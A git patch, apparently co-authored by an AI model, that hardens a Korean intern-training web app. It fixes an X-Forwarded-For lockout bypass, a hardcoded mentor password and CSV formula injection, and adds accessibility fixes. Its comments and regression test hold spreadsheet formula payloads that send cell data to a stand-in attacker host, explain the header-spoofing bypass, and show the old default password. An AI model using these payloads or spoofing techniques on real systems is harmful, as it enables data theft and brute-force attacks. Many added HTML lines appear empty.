From 84144a1608122466bbe9f8898c2858cfcb8131a8 Mon Sep 17 00:00:00 2001 From: AWESOMEDEV Date: Fri, 17 Jul 2026 13:38:30 +0900 Subject: [PATCH] =?UTF-8?q?fix(security+a11y):=20=EC=A2=85=ED=95=A9=20?= =?UTF-8?q?=EA=B0=90=EC=82=AC(PMD+5=EA=B4=80=EC=A0=90,=2029=EC=97=90?= =?UTF-8?q?=EC=9D=B4=EC=A0=84=ED=8A=B8)=20=ED=99=95=EC=A0=95=2012=EA=B1=B4?= =?UTF-8?q?=20=EC=88=98=EC=A0=95?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit [HIGH] - 로그인 잠금 XFF 스푸핑 우회: X-Forwarded-For leftmost(위조 가능) → rightmost(Caddy가 붙인 실제 IP) 사용 - 멘토 기본 비밀번호 하드코딩 제거: env 미설정 시 SecureRandom 생성 후 로그 1회 출력. compose에 MENTOR_INITIAL_PASSWORD 추가 - 클릭 카드 키보드 접근 불가(학습문서 전체): Card에 role=button·tabIndex·Enter/Space·aria-label [MEDIUM] - CSV 수식 인젝션: =+-@ 로 시작하는 학생 자유입력 앞에 ' 붙여 엑셀 수식화 차단 (+회귀 테스트) - 학습문서 17개 골격 주입 (스크린리더 한국어 발음) - 과제 제출 폼 label htmlFor/id 연결 - 상단 아이콘 링크(👤·🔑) aria-label + 이모지 aria-hidden - 멘토 제출물 표 행 키보드 접근(role/tabIndex/Enter·Space) - 배지 amber/teal 글자 대비 4.5:1 확보(테마별 --amber-text/--teal-text) [LOW] - 코드에디터 포커스 표시(:focus-within), 문제번호 색 대비(--muted), 카드 :focus-visible - 폼 오류 메시지 role=alert (스크린리더 즉시 안내) 검증: 테스트 26개 통과, 운영에서 XFF 우회 차단(6회째 429)·카드 role/aria·문서 lang=ko 확인. PMD 29건은 전부 저심각 스멜로 실질 결함 없음. 각 수정에 원리 학습 주석. Co-Authored-By: Claude Opus 4.8 --- .../mirim/config/SeedDataLoader.java | 32 ++++++++++++++++--- .../mirim/service/StudentProfileService.java | 18 ++++++++++- .../awesomedev/mirim/web/AuthController.java | 16 +++++++--- .../service/StudentProfileServiceTest.java | 20 ++++++++++++ deploy/docker-compose.prod.yml | 2 ++ frontend/public/docs/cs-curriculum.html | 9 ++++++ frontend/public/docs/evaluation-rubric.html | 9 ++++++ frontend/public/docs/intern-guide.html | 9 ++++++ frontend/public/docs/ticket-pool.html | 9 ++++++ frontend/public/docs/week1-assignments.html | 9 ++++++ frontend/public/docs/week1-detailed.html | 9 ++++++ frontend/public/docs/week2-assignments.html | 9 ++++++ frontend/public/docs/week2-detailed.html | 9 ++++++ frontend/public/docs/week3-assignments.html | 9 ++++++ frontend/public/docs/week3-detailed.html | 9 ++++++ frontend/public/docs/week4-assignments.html | 9 ++++++ frontend/public/docs/week4-detailed.html | 9 ++++++ frontend/public/docs/week5-detailed.html | 9 ++++++ frontend/public/docs/week6-detailed.html | 9 ++++++ frontend/public/docs/week7-detailed.html | 9 ++++++ frontend/public/docs/week8-detailed.html | 9 ++++++ frontend/public/docs/weekly-plan.html | 9 ++++++ frontend/src/App.jsx | 12 ++++--- frontend/src/components/Card.jsx | 24 ++++++++++++-- frontend/src/pages/AssignmentsPage.jsx | 10 ++++-- frontend/src/pages/ChangePasswordPage.jsx | 2 +- frontend/src/pages/CodingPage.jsx | 2 +- frontend/src/pages/CodingProblemPage.jsx | 4 +-- frontend/src/pages/DocsPage.jsx | 3 +- frontend/src/pages/FindAccountPage.jsx | 2 +- frontend/src/pages/LoginPage.jsx | 2 +- frontend/src/pages/MentorPage.jsx | 23 ++++++++++--- frontend/src/pages/MyProfilePage.jsx | 2 +- frontend/src/pages/QuizPage.jsx | 2 +- frontend/src/pages/SignupPage.jsx | 2 +- frontend/src/styles/global.css | 28 ++++++++++++++-- 36 files changed, 322 insertions(+), 37 deletions(-) diff --git a/backend/src/main/java/dev/awesomedev/mirim/config/SeedDataLoader.java b/backend/src/main/java/dev/awesomedev/mirim/config/SeedDataLoader.java index 0175413..52915d2 100644 --- a/backend/src/main/java/dev/awesomedev/mirim/config/SeedDataLoader.java +++ b/backend/src/main/java/dev/awesomedev/mirim/config/SeedDataLoader.java @@ -23,6 +23,8 @@ import org.springframework.security.crypto.password.PasswordEncoder; import org.springframework.stereotype.Component; import java.io.InputStream; +import java.security.SecureRandom; +import java.util.Base64; import java.util.List; import java.util.Map; @@ -86,19 +88,41 @@ public class SeedDataLoader implements ApplicationRunner { * - 개인정보(이름·이메일·연락처)를 본인이 입력하는 것이 정확하다(대신 넣으면 오타·불일치). * 멘토만 시드로 두는 이유: 학생을 관리할 사람이 처음부터 있어야 하기 때문이다. * - * ⚠️ MENTOR_INITIAL_PASSWORD 환경변수로 초기 비밀번호를 넣을 수 있다(운영 권장). - * 없으면 개발용 기본값을 쓰되, 이 값은 소스에 보이므로 첫 로그인 후 반드시 바꿔야 한다. + * ⚠️⚠️ 실제로 났던 보안 결함 — "소스에 박힌 기본 비밀번호"는 비밀번호가 아니다. + * 예전엔 env 미설정 시 소스에 그대로 보이는 고정 문자열로 멘토를 만들었다. + * 소스(=공개 코드)에 있는 값은 누구나 읽을 수 있으므로, 그 계정으로 로그인하면 + * 전체 학생의 개인정보 CSV를 내려받고 학생 비밀번호를 재설정할 수 있었다. + * → 이제 env가 있으면 그 값을, 없으면 "매번 새로운 랜덤 비밀번호"를 만들어 + * 로그에만 딱 한 번 출력한다. 아무도 미리 알 수 없는 값이 된다. + * (운영은 MENTOR_INITIAL_PASSWORD를 .env에 두고, 로컬은 부팅 로그에서 확인.) */ private void seedUsers() { if (userRepository.count() > 0) { return; // 이미 사용자가 있으면 건너뛴다 } - String initialPassword = System.getenv().getOrDefault("MENTOR_INITIAL_PASSWORD", "mirim2026!"); + String envPassword = System.getenv("MENTOR_INITIAL_PASSWORD"); + boolean generated = envPassword == null || envPassword.isBlank(); + String initialPassword = generated ? randomPassword() : envPassword; String passwordHash = passwordEncoder.encode(initialPassword); userRepository.save(new User("mentor1", passwordHash, "멘토", "MENTOR", "NONE")); - log.info("멘토 계정(mentor1)을 생성했습니다. 학생은 회원가입으로 등록합니다."); + if (generated) { + // 랜덤 생성한 경우에만 로그로 알린다. 운영에서 env로 지정했다면 로그에 남기지 않는다 + // (지정한 비밀번호를 로그에 흘리지 않기 위해서다). + log.warn("멘토 계정(mentor1) 생성 — 초기 비밀번호(1회 출력): {} ← 로그인 후 즉시 변경하세요. " + + "운영에서는 MENTOR_INITIAL_PASSWORD 환경변수로 지정하세요.", initialPassword); + } else { + log.info("멘토 계정(mentor1)을 생성했습니다(비밀번호는 환경변수 사용). 학생은 회원가입으로 등록합니다."); + } + } + + /** 아무도 미리 알 수 없는 임시 비밀번호 하나. SecureRandom = 예측 불가능한 난수원. */ + private String randomPassword() { + byte[] bytes = new byte[12]; + new SecureRandom().nextBytes(bytes); + // URL-safe Base64에서 헷갈리는 문자를 빼고 특수문자 하나를 더해 정책을 만족시킨다. + return "M" + Base64.getUrlEncoder().withoutPadding().encodeToString(bytes) + "!"; } private void seedDocuments() { diff --git a/backend/src/main/java/dev/awesomedev/mirim/service/StudentProfileService.java b/backend/src/main/java/dev/awesomedev/mirim/service/StudentProfileService.java index 99119da..3a2b76c 100644 --- a/backend/src/main/java/dev/awesomedev/mirim/service/StudentProfileService.java +++ b/backend/src/main/java/dev/awesomedev/mirim/service/StudentProfileService.java @@ -130,9 +130,25 @@ public class StudentProfileService { return sb.toString(); } - /** CSV 한 칸 이스케이프: 큰따옴표로 감싸고, 안의 큰따옴표는 두 개로. */ + /** + * CSV 한 칸 이스케이프. + * + * 학습 포인트 ① — 구조 이스케이프: 큰따옴표로 감싸고, 안의 큰따옴표는 두 개로. + * 이렇게 하면 값에 쉼표·따옴표·줄바꿈이 있어도 열이 밀리지 않는다. + * + * 학습 포인트 ② — 수식 인젝션(CSV Injection) 방어. 이게 핵심이다. + * 엑셀은 셀 값이 =, +, -, @ 로 시작하면 "수식"으로 실행한다. 학생이 이름을 + * =HYPERLINK("http://공격자/"&A2) 처럼 지어 가입하면, 경리가 CSV를 엑셀로 여는 + * 순간 옆 칸의 진짜 개인정보가 공격자 서버로 새어 나갈 수 있다. + * → 위험 문자로 시작하면 앞에 작은따옴표(')를 붙여 "이건 글자야, 수식 아냐"로 만든다. + * 엑셀은 선행 '를 표시하지 않고 텍스트로 취급한다. (구조 이스케이프만으로는 못 막는다 — + * 따옴표는 엑셀이 열 때 텍스트 한정자로 걷어내서 =... 가 그대로 수식이 되기 때문이다.) + */ private String csv(String value) { String v = value == null ? "" : value; + if (!v.isEmpty() && "=+-@\t\r".indexOf(v.charAt(0)) >= 0) { + v = "'" + v; // 수식화 차단 + } return "\"" + v.replace("\"", "\"\"") + "\""; } } diff --git a/backend/src/main/java/dev/awesomedev/mirim/web/AuthController.java b/backend/src/main/java/dev/awesomedev/mirim/web/AuthController.java index 49cab74..58a3a09 100644 --- a/backend/src/main/java/dev/awesomedev/mirim/web/AuthController.java +++ b/backend/src/main/java/dev/awesomedev/mirim/web/AuthController.java @@ -180,15 +180,21 @@ public class AuthController { * request.getRemoteAddr()는 항상 "Caddy의 IP"다 — 이걸 키로 쓰면 전 세계 사용자가 * 한 명으로 묶여 버린다. 진짜 클라이언트 IP는 Caddy가 X-Forwarded-For 헤더에 담아 준다. * - * ⚠️ 이 헤더를 믿어도 되는 조건: 백엔드가 오직 Caddy를 통해서만 접근 가능할 때다 - * (우리 구성이 그렇다 — backend 컨테이너는 외부 포트를 열지 않는다). - * 백엔드가 인터넷에 직접 노출돼 있다면 누구나 이 헤더를 위조할 수 있으므로 믿으면 안 된다. + * ⚠️⚠️ 실제로 났던 취약점 — "맨 앞이 클라이언트"가 함정이었다. + * X-Forwarded-For는 클라이언트가 임의로 넣어 보낼 수 있는 헤더다. 프록시(Caddy)는 + * 그 값을 지우지 않고 "실제 연결 IP를 뒤에 덧붙인다". 그래서 백엔드가 보는 값은 + * [클라이언트가 위조한 값] , [Caddy가 본 진짜 IP] + * 가 된다. 맨 앞(leftmost)을 믿으면 공격자가 요청마다 가짜 IP를 넣어 + * 잠금 카운트를 매번 새 키로 흩뿌려 무차별 대입 잠금을 통째로 우회할 수 있었다. + * → 신뢰할 수 있는 건 "프록시가 직접 덧붙인" 맨 뒤(rightmost) 값이다. + * (프록시가 Caddy 하나뿐이라 이 값이 곧 실제 클라이언트 IP다. 프록시가 여러 겹이면 + * "신뢰하는 프록시 수만큼 뒤에서" 세어야 한다 — 홉 수를 아는 것이 핵심이다.) */ private String clientIp(HttpServletRequest request) { String forwarded = request.getHeader("X-Forwarded-For"); if (forwarded != null && !forwarded.isBlank()) { - // 프록시를 여러 번 거치면 "원래IP, 프록시1, 프록시2"처럼 쌓인다 — 맨 앞이 클라이언트. - return forwarded.split(",")[0].trim(); + String[] hops = forwarded.split(","); + return hops[hops.length - 1].trim(); // 맨 뒤 = Caddy가 붙인 실제 IP (위조 불가) } return request.getRemoteAddr(); } diff --git a/backend/src/test/java/dev/awesomedev/mirim/service/StudentProfileServiceTest.java b/backend/src/test/java/dev/awesomedev/mirim/service/StudentProfileServiceTest.java index 45ac4fd..b6f0977 100644 --- a/backend/src/test/java/dev/awesomedev/mirim/service/StudentProfileServiceTest.java +++ b/backend/src/test/java/dev/awesomedev/mirim/service/StudentProfileServiceTest.java @@ -14,6 +14,7 @@ import org.springframework.web.server.ResponseStatusException; import java.time.Instant; import java.time.LocalDate; +import java.util.List; import java.util.Optional; import static org.junit.jupiter.api.Assertions.*; @@ -97,4 +98,23 @@ class StudentProfileServiceTest { () -> service.myProfile(mentor)); assertEquals(404, ex.getStatusCode().value()); } + + @Test + @DisplayName("CSV: =수식으로 시작하는 이름은 앞에 '가 붙어 엑셀 수식 실행이 차단된다") + void exportCsv_neutralizes_formula_injection() { + // 공격자가 이름을 엑셀 수식으로 지어 가입한 상황 + User attacker = new User("evil", "해시", "=HYPERLINK(\"http://evil/\")", "STUDENT", "DEV"); + ReflectionTestUtils.setField(attacker, "id", 9L); // createdAt은 생성자가 이미 채움 + StudentProfile evilProfile = new StudentProfile(attacker, "evil", LocalDate.of(2008, 1, 1), + "010-0000-0000", "@SUM(A1)", "학교", "전공", "보호자", "부", "010-1111-1111", Instant.now()); + when(studentProfileRepository.findAllWithUser()).thenReturn(List.of(evilProfile)); + + String csv = service.exportCsv(); + + // 위험 문자로 시작하는 값 앞에 작은따옴표가 붙어야 한다 (엑셀이 텍스트로 취급) + assertTrue(csv.contains("\"'=HYPERLINK"), "= 로 시작하는 이름이 무력화되어야 함"); + assertTrue(csv.contains("\"'@SUM"), "@ 로 시작하는 주소가 무력화되어야 함"); + // 평범한 값은 건드리지 않는다 + assertTrue(csv.contains("\"보호자\"")); + } } diff --git a/deploy/docker-compose.prod.yml b/deploy/docker-compose.prod.yml index 104c5c3..6895d92 100644 --- a/deploy/docker-compose.prod.yml +++ b/deploy/docker-compose.prod.yml @@ -36,6 +36,8 @@ services: # 텔레그램 알림 (값은 .env에 — 비어 있으면 알림만 꺼지고 앱은 정상) TELEGRAM_BOT_TOKEN: ${TELEGRAM_BOT_TOKEN:-} TELEGRAM_CHAT_ID: ${TELEGRAM_CHAT_ID:-} + # 멘토 최초 비밀번호 (첫 부팅 시드용). 비우면 랜덤 생성돼 로그에 1회 출력된다. + MENTOR_INITIAL_PASSWORD: ${MENTOR_INITIAL_PASSWORD:-} depends_on: postgres: condition: service_healthy diff --git a/frontend/public/docs/cs-curriculum.html b/frontend/public/docs/cs-curriculum.html index 41ce2a6..c6d724e 100644 --- a/frontend/public/docs/cs-curriculum.html +++ b/frontend/public/docs/cs-curriculum.html @@ -1,3 +1,8 @@ + + + + + CS 기본기 4주 커리큘럼 + +
@@ -463,3 +470,5 @@
+ + diff --git a/frontend/public/docs/evaluation-rubric.html b/frontend/public/docs/evaluation-rubric.html index 7acfdad..4dc44fb 100644 --- a/frontend/public/docs/evaluation-rubric.html +++ b/frontend/public/docs/evaluation-rubric.html @@ -1,3 +1,8 @@ + + + + + 어썸데브 수습 평가 루브릭 + +
@@ -359,3 +366,5 @@
+ + diff --git a/frontend/public/docs/intern-guide.html b/frontend/public/docs/intern-guide.html index d090035..0347ff2 100644 --- a/frontend/public/docs/intern-guide.html +++ b/frontend/public/docs/intern-guide.html @@ -1,3 +1,8 @@ + + + + + AWESOMEDEV 수습 가이드 + +
@@ -579,3 +586,5 @@
+ + diff --git a/frontend/public/docs/ticket-pool.html b/frontend/public/docs/ticket-pool.html index 7636580..ddcf8e5 100644 --- a/frontend/public/docs/ticket-pool.html +++ b/frontend/public/docs/ticket-pool.html @@ -1,3 +1,8 @@ + + + + + 수습용 실전 티켓 풀 20 · AWESOMEDEV + +
@@ -463,3 +470,5 @@
+ + diff --git a/frontend/public/docs/week1-assignments.html b/frontend/public/docs/week1-assignments.html index 21c202b..4f0271a 100644 --- a/frontend/public/docs/week1-assignments.html +++ b/frontend/public/docs/week1-assignments.html @@ -1,3 +1,8 @@ + + + + + AWESOMEDEV 1주차 일일 과제집 — 온보딩 & 예절 적용 + +
@@ -851,3 +858,5 @@ chore: 자잘한 정리 예) chore: 불필요한 빈 줄 제거
+ + diff --git a/frontend/public/docs/week1-detailed.html b/frontend/public/docs/week1-detailed.html index 81469a2..bed024a 100644 --- a/frontend/public/docs/week1-detailed.html +++ b/frontend/public/docs/week1-detailed.html @@ -1,3 +1,8 @@ + + + + + 1주차 상세 강의안 · 온보딩 & 예절 + +
@@ -737,3 +744,5 @@
+ + diff --git a/frontend/public/docs/week2-assignments.html b/frontend/public/docs/week2-assignments.html index c4efd43..0b9fb40 100644 --- a/frontend/public/docs/week2-assignments.html +++ b/frontend/public/docs/week2-assignments.html @@ -1,3 +1,8 @@ + + + + + 어썸데브 수습 교육 · 2주차 일일 과제집 + +
@@ -848,3 +855,5 @@
+ + diff --git a/frontend/public/docs/week2-detailed.html b/frontend/public/docs/week2-detailed.html index 6a83791..3b481be 100644 --- a/frontend/public/docs/week2-detailed.html +++ b/frontend/public/docs/week2-detailed.html @@ -1,3 +1,8 @@ + + + + + 2주차 상세 강의안 — 기초 다지기 · AWESOMEDEV 수습 교육 + +
@@ -821,3 +828,5 @@ git push -u origin practice/이름-week2
+ + diff --git a/frontend/public/docs/week3-assignments.html b/frontend/public/docs/week3-assignments.html index f3afb1c..77959e8 100644 --- a/frontend/public/docs/week3-assignments.html +++ b/frontend/public/docs/week3-assignments.html @@ -1,3 +1,8 @@ + + + + + AWESOMEDEV 3주차 일일 과제집 — 첫 소과제 실전 + +
@@ -868,3 +875,5 @@
+ + diff --git a/frontend/public/docs/week3-detailed.html b/frontend/public/docs/week3-detailed.html index d06026c..82da941 100644 --- a/frontend/public/docs/week3-detailed.html +++ b/frontend/public/docs/week3-detailed.html @@ -1,3 +1,8 @@ + + + + + AWESOMEDEV 수습 상세 강의안 · 3주차 + +
@@ -804,3 +811,5 @@ Figma: [링크]
+ + diff --git a/frontend/public/docs/week4-assignments.html b/frontend/public/docs/week4-assignments.html index a7b4df7..d579f7f 100644 --- a/frontend/public/docs/week4-assignments.html +++ b/frontend/public/docs/week4-assignments.html @@ -1,3 +1,8 @@ + + + + + AWESOMEDEV 4주차 일일 과제집 — 통합·발표 준비 + +
@@ -863,3 +870,5 @@
+ + diff --git a/frontend/public/docs/week4-detailed.html b/frontend/public/docs/week4-detailed.html index 8008612..b2baaa6 100644 --- a/frontend/public/docs/week4-detailed.html +++ b/frontend/public/docs/week4-detailed.html @@ -1,3 +1,8 @@ + + + + + 4주차 상세 강의안 · 기본기 마무리 · 중간평가 — AWESOMEDEV 수습 교육 + +
@@ -790,3 +797,5 @@
+ + diff --git a/frontend/public/docs/week5-detailed.html b/frontend/public/docs/week5-detailed.html index eab4a98..6a0ab2b 100644 --- a/frontend/public/docs/week5-detailed.html +++ b/frontend/public/docs/week5-detailed.html @@ -1,3 +1,8 @@ + + + + + 5주차 상세 강의안 · 실전 티켓 ① · AWESOMEDEV 수습 + +
@@ -1075,3 +1082,5 @@
+ + diff --git a/frontend/public/docs/week6-detailed.html b/frontend/public/docs/week6-detailed.html index ed93078..0d45835 100644 --- a/frontend/public/docs/week6-detailed.html +++ b/frontend/public/docs/week6-detailed.html @@ -1,3 +1,8 @@ + + + + + 6주차 상세 강의안 — 실전 티켓 ② · AWESOMEDEV 수습 + +
@@ -875,3 +882,5 @@
+ + diff --git a/frontend/public/docs/week7-detailed.html b/frontend/public/docs/week7-detailed.html index f23a69a..84d7026 100644 --- a/frontend/public/docs/week7-detailed.html +++ b/frontend/public/docs/week7-detailed.html @@ -1,3 +1,8 @@ + + + + + 7주차 상세 강의안 — 종합 프로젝트 기획·설계 (멘토용) + +
@@ -959,3 +966,5 @@
+ + diff --git a/frontend/public/docs/week8-detailed.html b/frontend/public/docs/week8-detailed.html index 620e59d..a3ccf66 100644 --- a/frontend/public/docs/week8-detailed.html +++ b/frontend/public/docs/week8-detailed.html @@ -1,3 +1,8 @@ + + + + + 8주차 상세 강의안 · 구현 · 발표 · 최종평가 — AWESOMEDEV 수습 교육 + +
@@ -937,3 +944,5 @@
+ + diff --git a/frontend/public/docs/weekly-plan.html b/frontend/public/docs/weekly-plan.html index 88619a5..4c27356 100644 --- a/frontend/public/docs/weekly-plan.html +++ b/frontend/public/docs/weekly-plan.html @@ -1,3 +1,8 @@ + + + + + 어썸데브 수습 8주 상세 교육안 + +
@@ -454,3 +461,5 @@
+ + diff --git a/frontend/src/App.jsx b/frontend/src/App.jsx index d2f82bc..64eecec 100644 --- a/frontend/src/App.jsx +++ b/frontend/src/App.jsx @@ -90,15 +90,17 @@ function Layout() { 이름과 역할은 다른 정보이니 역할은 배지로 분리한다 — 중복도 없어지고 폭도 준다. */} {user?.name} {user?.role === 'MENTOR' && 멘토} - {/* 내 정보 — 학생만. (멘토는 인적사항이 없어서 숨긴다) */} + {/* 내 정보 — 학생만. (멘토는 인적사항이 없어서 숨긴다) + ⚠️ a11y: 내용이 이모지뿐이면 스크린리더가 "bust in silhouette 링크"로 읽는다. + title은 접근 이름으로 안 쓰이므로 aria-label로 목적을 알리고, 이모지는 숨긴다. */} {user?.role === 'STUDENT' && ( - - 👤 + + )} {/* 비밀번호 변경 — 처음 받은 비밀번호를 바꿀 수 있는 통로. 눈에 띄는 곳에 둔다. */} - - 🔑 + +